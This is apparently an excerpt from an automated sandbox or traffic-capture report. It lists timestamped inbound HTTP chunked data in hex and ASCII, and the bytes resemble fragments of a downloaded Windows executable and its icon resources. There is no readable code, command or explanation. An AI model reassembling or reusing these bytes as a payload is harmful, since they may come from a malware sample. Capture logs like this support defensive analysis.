2023-05-28 08:43:15 UTC	968	IN	Data Raw: be 6a dc be de f6 95 d6 98 73 0e 5f 1f a5 03 33 77 78 2b 3e 60 39 09 b7 a8 53 3e 2c fc 3d 39 c3 39 a9 2f d5 9e 13 36 66 19 7e a3 73 61 81 57 76 c9 53 24 73 ca b2 4a 06 f7 5c 35 fe 8c b6 af bc cc 72 6c 60 69 17 43 d2 98 3a b8 a4 e3 be b8 09 48 7f 59 b9 cc 27 76 aa 7b 21 49 68 44 24 3a 10 bf c5 e4 35 8d 48 cd 5e 6c ff 52 0a cc e6 29 8e e2 a9 85 dc 37 27 82 9c 97 b5 74 d3 e5 25 a0 3a e7 35 2f ce ee d6 d1 c2 75 10 6c 9c 4e 25 9e c5 48 61 2b a5 5b 71 4a 29 58 3f 34 ce cd 2c 73 da 18 69 b5 5d 26 f8 c4 2b 1c 1c 12 84 d9 5c cb da af 31 e2 6f 4d 95 41 cf 11 90 eb 32 97 66 80 e5 6b 8b f5 fc c1 e7 3a 4a 36 9d 03 38 da 05 b5 e4 f0 95 7d f6 0e 4c 9d 35 76 0e b3 1b f9 b4 fa c8 49 90 43 a6 05 b1 5f c6 26 58 91 c1 0e b7 96 a0 86 4f 54 06 e1 63 ab c6 2a dd c9 17 9e 66 77 Data Ascii: js_3wx+>`9S>,=99/6f~saWvS$sJ\5rl`iC:HY'v{!IhD$:5H^lR)7't%:5/ulN%Ha+[qJ)X?4,si]&+\1oMA2fk:J68}L5vIC_&XOTc*fw
2023-05-28 08:43:15 UTC	976	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	976	IN	Data Raw: 31 66 34 30 0d 0a 2d 29 a8 c6 f1 b1 84 1d 8d 63 03 74 1a 1b c6 62 3e 06 08 09 27 ba e9 98 3b 45 7b ea 1e 89 3a 45 76 49 45 6b 0e 0e af 38 16 b7 5a 90 25 3e 68 03 ea 94 6e 7e 45 af fc a7 31 ff d2 12 5a 9c 43 b2 36 8c 8a 0d 14 6c 72 e9 b9 51 6c 55 1c 05 a3 81 0e b2 68 e9 b9 d7 18 93 db 02 b2 67 b6 c3 9f b6 cb f1 ac 67 12 e5 d9 89 63 bb bb 8e a2 81 b3 5f 67 e2 70 41 7d 47 41 7b 88 46 05 97 8d 9d a5 ee 4a 65 c4 1e 52 e8 ed fe 33 41 27 06 3a 5d bd 96 cf 92 a4 44 ee 91 3e a5 e1 4c a0 11 ce 15 b2 2f 72 4b 96 c7 bb a1 ac f5 e6 ba c1 3c c3 5f 94 b4 f5 d5 bf f0 d1 0a 67 e6 41 59 22 24 a0 51 a2 8b d6 15 de b1 90 f2 61 e3 ec b9 e6 28 ab 45 45 48 b1 ee 35 26 5c 5f eb 27 58 0b 35 53 39 db 17 40 f0 81 69 8c c3 fb ef b1 d6 e4 ec 11 be 63 cf 2f fb b1 3c b6 05 fd 9f 22 15 Data Ascii: 1f40-)ctb>';E{:EvIEk8Z%>hn~E1ZC6lrQlUhggc_gpA}GA{FJeR3A':]D>L/rK<_gAY"$Qa(EEH5&\_'X5S9@ic/<"
2023-05-28 08:43:15 UTC	984	IN	Data Raw: 57 9b cd 08 17 d4 62 8b fd 7d 34 96 6f b1 9d d0 a0 67 d4 31 3f 0e 17 76 a0 67 d4 31 3f 0e 17 76 a0 67 d4 31 3f 0e 17 76 a0 67 d4 31 3f 0e 17 76 a0 67 d4 31 3f 0e 17 76 79 c9 4a 37 b1 93 78 ad 3b ca 27 52 65 23 01 78 22 40 e6 d8 bf 9f a4 ef 6c 0a 2b 0d eb 65 56 d5 4c 3c d4 44 fc 2c 42 83 fc d5 d5 36 c1 ca 47 00 a0 74 a4 9e 34 37 05 c5 90 52 d6 a5 03 5d 98 ae eb ef 6c de 84 fe ef b2 b0 95 a1 18 73 d4 2e be 15 a3 da 85 28 ff d2 48 d9 ab 04 c6 4e 2d b3 3c a5 7a 2d 93 43 d3 57 91 f6 b0 2b 9c 00 eb 15 84 47 3e 79 d5 1c 89 35 6a 44 4c 09 08 79 79 03 af 58 ae cf 33 05 d0 c2 fb d9 bb 04 01 49 35 d4 f7 31 b6 56 56 e3 fa 4b 4e da e0 ef 7a e8 2f 85 bd 1f f4 94 c1 af ad 82 b3 89 ad a3 61 ec f7 46 88 8e b7 8e f2 e2 a6 eb bb 3d b4 26 47 a0 cb 14 60 36 69 05 8d 97 83 0e Data Ascii: Wb}4og1?vg1?vg1?vg1?vg1?vyJ7x;'Re#x"@l+eVL<D,B6Gt47R]ls.(HN-<z-CW+G>y5jDLyyX3I51VVKNz/aF=&G`6i
2023-05-28 08:43:15 UTC	992	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	992	IN	Data Raw: 31 66 34 30 0d 0a c9 d0 4d a5 f4 1a 90 f6 9d 0f 3c a3 29 d2 a8 43 a0 a6 4e 5c 72 ac b6 c6 52 8d ab 8f 3a 5b d0 3c b1 ad d3 00 68 ab 10 6b 8a d2 48 05 0f 13 e7 32 46 cf ab ad c5 a5 86 04 16 1c 93 ab 99 4a 92 df 58 29 b8 4c 5d 3c ba c1 73 79 a9 05 4e 4e 2f e8 bc 35 05 ec 3a cb 4a 47 41 13 1c 5e 01 cc 54 e2 e7 91 f4 47 09 e7 4c b2 7b be 05 ae 55 a3 93 04 37 86 42 c1 d4 d5 d6 64 f1 5f 40 9d 84 88 43 9f 3a 83 cb 4a 5b 6d d4 e2 93 ab eb b2 d2 27 93 8c 6a 7c ce 7a d9 eb e6 d0 73 2b 73 3a eb 2a a8 e9 47 76 13 b9 37 0d b8 83 aa c1 6b 41 d4 fd 67 e8 30 57 ba 7e a8 ed 31 b0 84 12 de c1 1b 93 7b 2c 77 be 1e 2e f0 dd 1b 2d 82 9f 5e 4a 01 9f 6a da 3f bc 9e c3 f5 2b 10 81 fa 32 f0 05 a3 56 81 48 5d ad dd e6 c8 06 c3 bd f5 b2 a1 34 85 82 1d 61 27 94 05 83 0c a9 75 61 60 Data Ascii: 1f40M<)CN\rR:[<hkH2FJX)L]<syNN/5:JGA^TGL{U7Bd_@C:J[m'j\|zs+s:*Gv7kAg0W~1{,w.-^Jj?+2VH]4a'ua`
2023-05-28 08:43:15 UTC	1000	IN	Data Raw: 7a 4d ba e8 b3 20 65 b3 31 98 4e b4 15 5b a4 dd 45 74 ac 5d 2f 08 8b 30 66 27 d0 49 d2 69 6b 07 c9 e2 e6 c8 03 2f 24 30 e8 31 64 11 7e 0f 53 14 05 0f 41 12 82 49 32 1e fa d9 48 23 bb a7 2b c1 66 00 71 ce 97 1a 68 b9 2a 66 7b 18 e1 3f dc a5 84 ee 28 90 d0 e8 53 17 23 98 ff a3 4c 20 12 7c 5d c3 92 f0 7b 93 36 54 f8 ce 71 3d 58 f0 d9 bf fe 57 a6 3a 19 19 1b 44 57 44 f8 4d 4f c8 95 63 b5 eb eb 15 4f 04 05 99 02 6c bb 54 b7 af ae 81 3b e2 79 b7 44 b6 f1 74 b2 83 75 c2 2e ab 37 2e e6 56 4b 00 59 d1 c3 dc 48 a1 5b 56 c0 7d 62 ed 41 1c b7 93 6a c5 86 bf 41 2a 4d 68 cb f1 0f cc 91 54 e9 0b 72 85 6b f5 af 82 e1 c9 e0 df 52 e0 ea 28 96 d8 fa 65 c4 62 88 e5 c5 8b 8d 3e 54 82 6a f1 33 9d c2 0b 2e 90 49 b8 d6 87 da 92 3f 57 43 1b 82 d5 95 55 74 8f a7 74 e8 bf c1 4d 83 Data Ascii: zM e1N[Et]/0f'Iik/$01d~SAI2H#+fqhf{?(S#L \|]{6Tq=XW:DWDMOcOlT;yDtu.7.VKYH[V}bAjAMhTrkR(eb>Tj3.I?WCUttM
2023-05-28 08:43:15 UTC	1007	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1007	IN	Data Raw: 31 66 34 30 0d 0a a2 52 99 0f f9 70 6b 9a 62 7b d0 33 c9 11 54 c8 25 a2 9d d5 ef ef bd ba 45 ea 72 37 56 b7 b8 7d 31 50 d4 28 da ee 68 e3 59 6e 12 6a f5 8c c6 61 96 b5 55 c0 f4 7c 48 12 04 1f 9c 8e 30 e9 3a 94 d1 b7 75 fd 3e 0f c6 7e 4e df 83 a8 71 f0 71 38 52 f1 cc 27 61 33 d1 84 03 e8 bd ab 52 9f 53 d8 f4 1b 93 a0 ef 2d 7a cd 35 29 b4 b9 48 b8 21 d3 71 0a b1 53 83 e3 fe 7c 69 04 fa ed 3e 98 89 ec 90 ea f8 94 43 c3 ea 5e a4 53 1f 23 7f 73 ed 44 06 f2 5d e5 17 1f 36 a3 3f 6d c6 64 15 43 50 68 74 a7 25 f2 18 23 ac 90 25 32 18 69 9f f0 97 54 f5 b3 71 2b 37 c8 74 aa 32 c2 a1 3f 2c 0f 84 af c1 f0 b2 0f c3 73 ac d9 33 0e 6a fa f5 70 1b fa d7 7a 72 78 24 36 4e 69 9f 5c a9 3c 18 42 b8 de 68 f8 ae 62 9f b3 1f bc 45 35 49 6f 5d 1b 7a f6 42 b4 76 bf 43 7b 35 6b aa Data Ascii: 1f40Rpkb{3T%Er7V}1P(hYnjaU\|H0:u>~Nqq8R'a3RS-z5)H!qS\|i>C^S#sD]6?mdCPht%#%2iTq+7t2?,s3jpzrx$6Ni\<BhbE5Io]zBvC{5k
2023-05-28 08:43:15 UTC	1015	IN	Data Raw: fa c3 27 91 a7 9f 2b d4 ae cd 8c ba b1 ed 84 c8 03 51 66 8e 0e c8 a0 7d 9c 12 ee 76 28 26 4c fa 6f 0f 94 fd e3 0c 6b 8b 35 6b 8c b5 23 5d 02 0d e6 43 d0 20 58 56 3b a6 da 90 b0 75 dd 38 dc 21 c2 b8 4e 77 a6 90 e9 e7 d7 e1 06 be 80 60 de bf 66 84 ac 88 ea a4 98 49 5e 0c e1 38 f8 3f bd 00 d1 3d 9c df cc d3 11 52 f7 24 17 eb fc f8 9b 29 d2 eb 0b 2a 61 41 70 16 a6 07 43 dd 05 72 0a 3d ce 32 65 45 5d d7 24 39 33 b3 cf 89 81 d8 bb f0 75 96 d7 2c d2 3d 5b 09 c8 af e8 c8 34 35 e6 fc 37 24 b4 f8 5e 9e 30 b9 9c 0a de 82 10 87 78 62 88 33 d1 81 70 78 09 31 65 2d 12 d7 bb 49 9c 50 3b fb 27 93 cc 1c da a5 83 d3 f3 3b be a1 4f ae 5e 4c 80 1a dd f7 f1 e4 56 dc c7 71 50 77 12 a6 e2 d2 29 f6 72 d6 bb 8c 8a 05 c6 91 e0 01 bf 02 10 87 5b f5 99 bc b3 a8 18 e1 43 fc 7d e4 fb Data Ascii: '+Qf}v(&Lok5k#]C XV;u8!Nw`fI^8?=R$)*aApCr=2eE]$93u,=[457$^0xb3px1e-IP;';O^LVqPw)r[C}
2023-05-28 08:43:15 UTC	1023	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1023	IN	Data Raw: 31 66 34 30 0d 0a 59 75 1b 16 88 21 2a 35 88 00 97 73 9c 51 80 33 7f 27 e8 97 6f 27 52 c2 f1 ca 55 e4 51 1d 31 3e b9 d8 bd 33 5b 59 d3 78 4c 60 25 4d ba 9d 34 a2 10 e2 29 a5 9e 5e 01 cd ba e2 83 b3 ae 61 83 70 ec 7d 2b 01 4c 13 fb 23 b6 6d 01 b4 9e 20 ca 08 65 82 62 96 3e 9e e8 1b 9f 7d 66 e4 3c e7 19 01 f8 a5 54 00 e7 47 30 98 3a 3b e7 d3 b1 85 71 54 6e 8e 25 53 e8 cf c3 94 bc 8b 50 aa 61 39 4d 05 00 81 0e ae 13 7d 31 5f a3 60 18 bc b0 4d 04 4f 5d 49 65 ff 13 47 1e 7f eb a9 d6 25 67 87 72 82 59 cd fe 7f 66 e6 32 f7 66 fe bf bf 43 7b dc 96 98 44 f6 34 46 26 d3 82 55 24 d5 26 61 76 51 99 b4 47 1d 9e 88 2c b7 05 3a 4c 1d e4 3c 53 34 01 21 0d 69 f5 97 65 7f 3c 74 3f 28 ba 21 f4 d5 a7 1e b3 39 99 e4 3f 31 d6 4b 90 0c 2d 85 68 ad 90 f4 dd cc 9e 64 8e f2 45 96 Data Ascii: 1f40Yu!*5sQ3'o'RUQ1>3[YxL`%M4)^ap}+L#m eb>}f<TG0:;qTn%SPa9M}1_`MO]IeG%grYf2fC{D4F&U$&avQG,:L<S4!ie<t?(!9?1K-hdE
2023-05-28 08:43:15 UTC	1031	IN	Data Raw: 3c 9a 8b d3 d0 01 26 59 28 67 3b 22 2f 2f ee 62 35 ef 41 e4 1f 4b 8b 51 60 59 fd 2f c7 4a 09 55 16 c1 40 e3 2d 33 4e 98 72 0d fa 21 ba b7 2b 40 1b 95 21 9f 3a 64 a7 2a 6c a8 9b a6 1c 95 5f 0e ac e5 dd c8 a1 e3 5f 55 64 78 96 95 c6 94 e0 9a c8 ec 7e 85 71 e2 58 aa fc cd da 80 fd 83 61 53 bf 3c 08 37 a5 b9 05 4a 8e 5f 53 d8 16 71 20 3d e6 1e 03 6c 91 04 52 c5 a2 e3 52 d9 2f 71 4e 1c 02 09 c9 6e 8f 35 df 06 df d5 93 75 c9 a6 44 50 d9 e5 87 2c 7b 27 51 e7 80 0d 08 a9 a4 58 58 36 0f 8e 7a a6 ed 83 e0 7e c6 99 a8 e8 cf 66 18 2d c2 c0 46 ce 7c 69 66 be 69 12 d8 ed d7 85 ac 2d ce 16 f4 69 15 83 66 2d 9b 94 85 19 be e3 93 8f 13 24 bf cb bc 92 ca 39 42 1e e4 1b a5 24 e6 42 55 9b 7a 33 2d 9c 11 c3 2d b4 b1 ec e5 4c e1 a8 c3 c9 cf f6 89 f3 36 5e ec 28 c1 cc e1 d1 3b Data Ascii: <&Y(g;"//b5AKQ`Y/JU@-3Nr!+@!:d*l__Udx~qXaS<7J_Sq =lRR/qNn5uDP,{'QXX6z~f-F\|ifi-if-$9B$BUz3--L6^(;
2023-05-28 08:43:15 UTC	1038	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1038	IN	Data Raw: 31 66 34 30 0d 0a fd ff c7 05 60 ac 42 00 50 12 40 00 b9 60 ac 42 00 e9 be ca fd ff cc cc cc cc fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 fc 49 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 88 ff ff ff 00 00 00 00 fe ff ff ff 40 4e 40 00 44 4e 40 00 fe ff ff ff 06 4e 40 00 1a 4e 40 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 38 55 40 00 00 00 00 00 fa 54 40 00 04 55 40 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff e1 55 40 00 ea 55 40 00 40 00 00 00 00 00 00 00 00 00 00 00 db 56 40 00 ff ff ff ff 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 94 7d 42 00 22 05 93 19 02 00 00 00 a4 7d 42 00 01 00 00 00 b4 7d 42 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1f40`BP@`BI@@N@DN@N@N@8U@T@U@U@U@@V@}B"}B}B
2023-05-28 08:43:15 UTC	1046	IN	Data Raw: 11 00 00 00 bc 1b 40 00 18 00 00 00 b4 1b 40 00 16 00 00 00 ac 1b 40 00 17 00 00 00 a4 1b 40 00 22 00 00 00 a0 1b 40 00 23 00 00 00 9c 1b 40 00 24 00 00 00 98 1b 40 00 25 00 00 00 90 1b 40 00 26 00 00 00 84 1b 40 00 00 00 00 00 00 00 f0 7f 00 00 00 00 00 00 f8 ff ff ff ff ff ff ff ef 7f 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 80 10 44 00 00 01 00 00 00 00 00 00 80 00 30 00 00 01 00 00 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 1b 08 41 00 03 00 00 00 20 05 93 19 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d8 24 40 00 da 26 40 00 08 2d 40 00 04 2d 40 00 00 2d 40 00 fc 2c 40 00 f8 2c 40 00 f4 2c 40 00 f0 2c 40 00 e8 2c 40 00 e0 2c 40 00 d8 2c 40 Data Ascii: @@@@"@#@$@%@&@D0AAAAAAAAAA $@&@-@-@-@,@,@,@,@,@,@,@
2023-05-28 08:43:15 UTC	1054	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1054	IN	Data Raw: 31 66 34 30 0d 0a 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 30 4b c1 2e cc e2 87 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f c2 4b a8 4c cc 2b 87 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 60 18 9e ec ec e2 a5 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f e8 50 fa 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f c2 f9 c1 89 cc 1f 23 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5a 6b 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f c2 f9 c1 cc d5 2b 46 2f 2f 2f 2f 2f 2f 2f 2f 2f 84 c8 e2 84 2f 2f 2f 2f 2f 2f Data Ascii: 1f40///////////////////////////////0K./////////////////////////////////////////KL+/////////////////////////////////////////`//////////P////////////////////////////#//////////Zk////////////////////////////+F///////////////
2023-05-28 08:43:15 UTC	1062	IN	Data Raw: 80 80 7e 7e 7f 7f 7f 80 7e 7f 80 7e 7f 81 80 7f 80 7f 7f 80 7f 7f 7f 81 80 81 7e 80 80 80 80 80 7f 80 81 7f 80 7f 7e 7e 80 7f 81 7e 81 7f 81 80 7f 7f 7e 80 7f 7f 7e 81 80 7e 7f 7f 7f 81 80 81 7e 7e 81 7e 7f 80 81 80 7f 7e 80 81 7f 7e 7f 7f 7e 80 80 7f 81 7f 7e 80 81 7f 81 80 81 7e 80 7e 80 7f 80 80 7f 7e 7e 81 80 7e 7e 7f 80 7e 80 7f 7f 7f 7f 80 81 7f 7f 7e 80 7f 7e 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 7f 7f 7f 80 80 7e 80 7f 7f 7f 80 80 7f 80 7f 80 80 7f 80 7f 7e 81 7e 7e 80 7f 7f 80 80 80 7f 80 80 7e 7f 81 81 7e 80 7f 80 7f 7f 7e 81 7f 7f 80 7e 80 81 7f 7f 7f 80 7f 81 81 80 81 7f 7f 80 81 7e 81 7e 7f 81 81 80 81 7f 81 7f 81 7e 80 80 80 80 80 80 7f 80 80 7e 80 7f Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:15 UTC	1070	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1070	IN	Data Raw: 31 66 34 30 0d 0a 7f 80 80 7f 7f 80 80 7e 80 7e 80 7f 7f 80 80 7e 7e 7f 80 7f 7f 81 80 80 80 81 7f 80 7f 81 7f 80 7e 7f 7f 80 81 80 81 7f 81 7e 80 80 7f 7f 80 7f 7f 80 80 80 7e 80 7f 7f 7f 80 7f 80 7f 7f 7e 81 7f 7f 7e 7f 7f 80 81 7f 81 7f 7f 7f 7e 80 80 81 81 80 7e 7e 7e 7e 7f 7f 80 7f 7f 80 81 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 80 81 7f 80 7e 81 81 80 7e 80 7e 7f 81 81 7f 80 80 7f 81 7e 80 80 80 80 80 81 7e 7e 81 7f 80 80 80 81 7f 80 7f 7e 7f 7e 80 80 80 80 7e 7f 7f 81 80 80 7f 80 7f 80 7e 81 80 81 80 80 7e 7f 80 7f 7e 7f 7f 7f 7f 80 81 80 7f 80 7f 80 81 81 81 7f 80 7e 7f 80 81 7e 80 80 81 80 7f 7e 80 80 80 81 7f 7f 7f 7e 81 80 81 81 7f 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 7e 7f 7f 81 80 81 7f 80 7e Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:15 UTC	1078	IN	Data Raw: 13 71 76 ba cd 99 88 b1 51 8a e9 00 98 1f ed d7 69 6a 6a 6a 6a 6a 6a 6a 10 dc 01 4b 1f 41 da e1 df f1 ec ee ea 37 11 04 73 a6 ed bf 1f bf 8d 43 69 6a 6a 6a 6a 6a 6a 6a 2b f7 4b c3 f5 7e 99 c0 c0 f1 11 7e f2 38 07 4f 93 28 5a 96 6c d4 18 9e 3b 6a 6a 6a 6a 6a 6a 6a f8 e7 71 e1 7e 38 f2 f1 f1 f1 4f 51 99 c8 72 ec 24 ed 5e c3 5e 18 6b 82 84 6a 6a 6a 6a 6a 6a 6a 6a d0 8a da 80 7e 06 db 62 ba ba 93 dc 99 b1 73 ff c3 9e 32 9e 55 12 57 6a 6a 6a 6a 6a 6a 6a 6a 6a 2c 81 0e 31 ee 7b 76 a8 96 98 c2 cb 06 72 dc 96 2e 23 8f 55 23 da 2b 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 0a 81 14 36 5a 9e f9 9e 5e c3 8a 60 07 ea 5a f5 4a 23 2a e4 6f 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a a9 73 5a da 06 a3 6d 0c 06 37 38 f1 2f 5a 41 7f 55 6c 7a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 77 0b c0 Data Ascii: qvQijjjjjjjKA7sCijjjjjjj+K~~8O(Zl;jjjjjjjq~8OQr$^^kjjjjjjjj~bs2UWjjjjjjjjj,1{vr.#U#+jjjjjjjjjj6Z^`ZJ#*ojjjjjjjjjjjjsZm78/ZAUlzjjjjjjjjjjjjjjw
2023-05-28 08:43:15 UTC	1085	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1085	IN	Data Raw: 31 66 34 30 0d 0a 80 81 80 80 81 7f 81 7e 7f 80 7f 7f 7f 7f 7f 81 80 81 7f 81 7e 7f 7f 7f 7e 7f 81 7f 80 7f 7e 81 80 7e 80 7f 81 80 7f 7e 80 80 7f 7f 80 7f 7f 80 81 7f 7e 80 81 80 80 81 81 7f 80 7f 80 80 80 7f 80 7f 7f 80 7e 81 80 80 80 7f 7f 7e 80 80 80 80 7e 80 80 81 7f 81 7f 7e 81 7e 80 7e 80 81 7f 7f 7f 81 7f 7f 7e 7f 7f 7f 81 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 80 80 80 80 80 7f 80 80 7f 81 7f 7f 7e 80 7f 80 7e 7e 7f 7f 80 80 81 81 7e 7f 7e 81 80 80 7f 80 80 81 7f 7e 7f 7f 81 7f 7f 80 7e 81 80 7e 7f 7e 7e 80 81 80 7e 80 81 7e 7f 80 7e 80 7e 80 81 7f 80 7f 80 80 7f 7f 81 80 7f 7e 80 7f 7f 7f 80 80 80 7f 81 7f 7f 7e 80 80 7f 7e 7e 80 7f 81 7e 80 81 81 80 7f 80 7e 7e 7e 7f 7f 80 7e 81 7f 7f 80 7f 7f 81 80 81 81 7e 80 80 7f 7f 80 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:15 UTC	1093	IN	Data Raw: 80 00 00 01 80 00 00 02 00 00 00 00 80 00 00 01 80 00 00 01 00 00 00 03 00 00 00 1f 00 00 00 03 80 00 00 03 00 00 00 03 00 00 00 03 20 00 00 01 28 00 00 00 18 00 00 00 30 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 81 7f 80 80 80 7e 81 7f 80 80 7e 7f 7f 80 80 80 81 7f 7e 80 7f 81 80 80 7e 80 81 7e 80 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 81 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 7f 80 7e 7e 7e 81 7f 80 80 7f 81 7e 80 7f 7f 7f 7e 80 81 80 7f 80 00 00 00 Data Ascii: (0 ~~~~~~~~~~
2023-05-28 08:43:15 UTC	1101	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1101	IN	Data Raw: 31 66 34 30 0d 0a 7f 00 81 81 80 00 7f 81 7f 00 80 80 80 00 81 81 80 00 80 7f 7e 00 81 80 7f 00 81 80 80 00 80 7e 80 00 81 80 7e 00 7f 80 80 00 7f 81 7f 00 80 81 80 00 80 80 80 00 7f 80 80 00 7f 7f 80 00 7e 7f 80 00 7e 7e 7e 00 7e 7f 80 00 80 7f 7f 00 80 7e 81 00 7f 81 80 00 81 80 7e 00 80 80 80 00 80 7f 80 00 80 80 80 00 80 7f 7f 00 81 80 81 00 80 80 81 00 81 81 7e 00 7f 7e 81 00 7e 81 80 00 7e 7f 80 00 80 7f 80 00 80 7e 81 00 80 7e 80 00 7f 80 7e 00 7f 7f 80 00 80 80 80 00 80 81 7f 00 7f 80 81 00 80 80 7e 00 7f 80 80 00 80 81 80 00 80 7f 7f 00 7f 81 80 00 81 7e 81 00 81 80 7f 00 7e 7f 7f 00 7e 7f 80 00 7e 80 7e 00 7f 81 80 00 81 7f 80 00 7f 7f 81 00 81 80 7e 00 7e 7f 80 00 81 81 7e 00 7f 7f 80 00 7e 7f 80 00 7e 7e 80 00 80 80 80 00 80 80 80 00 7e 7e 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:15 UTC	1109	IN	Data Raw: 7f 7f 80 7e 7e 7f 80 7f 7e 81 7f 7f 81 7f 81 7f 80 7e 7f 7f 81 7e 7e 81 7f 7f 7f 80 7e 7e 81 81 81 7f 7e 80 7f 80 80 80 7f 80 7f 7f 81 7e 81 81 7f 81 80 80 80 7f 7f 80 80 81 7f 7e 80 80 80 81 80 81 80 80 81 7f 81 7f 81 80 81 7e 7e 81 80 7f 7f 80 7f 80 81 80 80 80 80 81 80 7f 80 7f 80 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 80 7f 81 81 80 80 7f 80 7f 81 7f 7e 81 80 80 81 7e 7e 7f 80 81 81 7e 81 7f 81 80 7e 81 81 7e 7f 80 81 81 7f 7f 81 7f 81 80 81 80 80 7f 80 7f 80 7f 7f 7f 81 81 7f 7f 81 7f 7e 7e 7f 7f 80 7e 7f 7f 80 7f 7f 7e 7e 80 81 7f 7f 80 7e 7e 80 7f 7f 7e 7e 81 7e 7f 7f 7f 81 7f 7f 80 7e 7f 81 7f 80 7f 7e 7f 80 7e 80 7f 7f 80 7e 7e 80 7f 7f 7f 81 81 7f 80 81 7f 7f 7f 81 7f 7e 7f 7f 81 7f 80 7e 7f 7f 7e 7e 7e 81 80 7f 80 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:15 UTC	1117	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	1117	IN	Data Raw: 31 66 34 30 0d 0a 7e 81 7f 80 80 80 7e 80 7f 7e 7f 80 81 7f 7f 7f 7f 7f 7e 7e 7e 7f 7f 80 7f 7e 7f 80 81 7e 80 7e 7f 7f 81 80 81 80 81 80 7f 7e 7f 7f 80 81 7f 7f 80 7e 7f 7f 7f 7f 80 7f 80 7f 80 80 7f 7e 81 80 80 7f 80 7f 80 81 7e 80 81 81 80 81 81 81 80 7f 7f 81 7e 80 7f 7f 80 7f 80 7e 80 80 80 80 7f 7e 7f 7f 7e 80 7f 80 81 80 7f 80 80 7f 80 81 81 80 80 7f 80 80 7f 7f 7f 7e 81 7e 7f 7f 7f 80 80 80 81 81 80 80 7f 7f 80 7f 7f 80 7f 7f 7f 7e 7e 7e 7f 7f 81 7e 80 80 80 80 81 7e 80 80 80 7f 80 81 80 7f 7e 80 7f 80 7f 81 7e 7f 7f 81 7f 7f 80 7e 7f 7e 80 80 80 7f 7e 7f 80 7f 80 7f 80 80 7f 81 80 80 00 00 00 00 00 00 00 00 81 80 7f 7f 81 81 7f 7f 80 7f 7f 7e 81 7f 7e 7f 7f 80 80 80 7f 7e 81 7f 7f 80 7e 80 80 81 80 7f 81 80 7f 7e 80 7f 7f 81 7e 7f 7f 81 80 80 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
